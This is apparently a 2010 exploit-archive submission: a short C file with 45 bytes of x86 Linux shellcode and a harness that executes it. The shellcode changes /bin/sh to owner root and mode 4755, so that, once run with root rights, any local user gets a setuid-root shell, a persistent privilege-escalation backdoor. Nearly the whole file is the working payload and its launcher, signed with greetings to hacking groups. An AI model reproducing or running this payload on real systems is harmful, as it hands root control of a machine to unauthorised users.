/*

Name : 45 bytes give all user root access when execute /bin/sh x86 linux shellcode

Date : Sat Jun 5 16:10:00 2010

Author : gunslinger_ <yudha.gunslinger[at]gmail.com>

Web : http://devilzc0de.org

blog : http://gunslingerc0de.wordpress.com

tested on : linux debian

special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)

greetz to : flyff666, whitehat, ketek, chaer, peneter, cruz3n and all devilzc0de crew

*/

#include <stdio.h>

char *shellcode=

"\xeb\x1f" /* jmp 0x8048081 */

"\x31\xc0" /* xor %eax,%eax */

"\xb0\xb6" /* mov $0xb6,%al */

"\x5b" /* pop %ebx */

"\x31\xc9" /* xor %ecx,%ecx */

"\x31\xd2" /* xor %edx,%edx */

"\xcd\x80" /* int $0x80 */

"\x31\xc0" /* xor %eax,%eax */

"\xb0\x0f" /* mov $0xf,%al */

"\x89\xdb" /* mov %ebx,%ebx */

"\x66\xb9\xed\x09" /* mov $0x9ed,%cx */

"\xcd\x80" /* int $0x80 */

"\x31\xc0" /* xor %eax,%eax */

"\xb0\x01" /* mov $0x1,%al */

"\x31\xdb" /* xor %ebx,%ebx */

"\xcd\x80" /* int $0x80 */

"\xe8\xdc\xff\xff\xff" /* call 0x8048062 */

"\x2f" /* das */

"\x62\x69\x6e" /* bound %ebp,0x6e(%ecx) */

"\x2f" /* das */

"\x73\x68"; /* jae 0x80480f5 */

int main(void)

{

fprintf(stdout,"Length: %d\n",strlen(shellcode));

((void (*)(void)) shellcode)();

return 0;

}